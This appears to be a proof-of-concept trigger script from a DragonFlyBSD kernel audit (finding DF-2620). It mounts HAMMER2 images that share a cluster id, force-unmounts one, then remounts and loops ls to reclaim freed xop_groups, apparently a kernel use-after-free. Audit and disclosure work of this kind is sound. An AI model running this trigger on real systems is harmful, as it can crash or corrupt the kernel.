DragonFlyBSD Kernel Audit
DF-2620 / trigger_C.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2620 variant C trigger v3 (careful): same-pfs_clid merge, then umount -f.
# Runs standalone (nohup); everything logged to C_run.log.
LOG=/root/poc/df2620/C_run.log
exec > $LOG 2>&1
set -x

vnconfig -u vn0 2>/dev/null
vnconfig -u vn1 2>/dev/null
vnconfig -c vn0 /root/poc/df2620/base.img
vnconfig -c vn1 /root/poc/df2620/C.img
mkdir -p /mnt/h2 /mnt/h2b

echo "=== 1. mount MASTER (clindex 0) ==="
mount -t hammer2 -o ro /dev/vn0@testvol /mnt/h2
echo MOUNT1_RC=$?
echo -n "T1="; ps axlw | grep -c "h2xop-testvol"

echo "=== 2. same-clid second device: merge then EBUSY ==="
mount -t hammer2 -o ro /dev/vn1@testvol /mnt/h2b
echo "MOUNT2_RC=$? (expect 1; 'PFS already mounted')"
echo -n "T2="; ps axlw | grep -c "h2xop-testvol"

echo "=== 3. umount -f -> xop_helper_cleanup(nmasters=1 < nchains=2) ==="
date
umount -f /mnt/h2
echo UMOUNT_RC=$?
date
echo -n "T3="; ps axlw | grep -c "h2xop-testvol"

echo "=== 4. reclaim freed xop_groups with a fresh mount + activity ==="
mount -t hammer2 -o ro /dev/vn0@testvol /mnt/h2b
echo MOUNT3_RC=$?
echo -n "T4="; ps axlw | grep -c "h2xop-testvol"
i=0
while [ $i -lt 30 ]; do
	ls -la /mnt/h2b >/dev/null 2>&1
	echo -n "loop$i rc=$? t="; ps axlw | grep -c "h2xop-testvol"
	i=$((i+1))
	sleep 1
done
echo TRIGGER_C3_DONE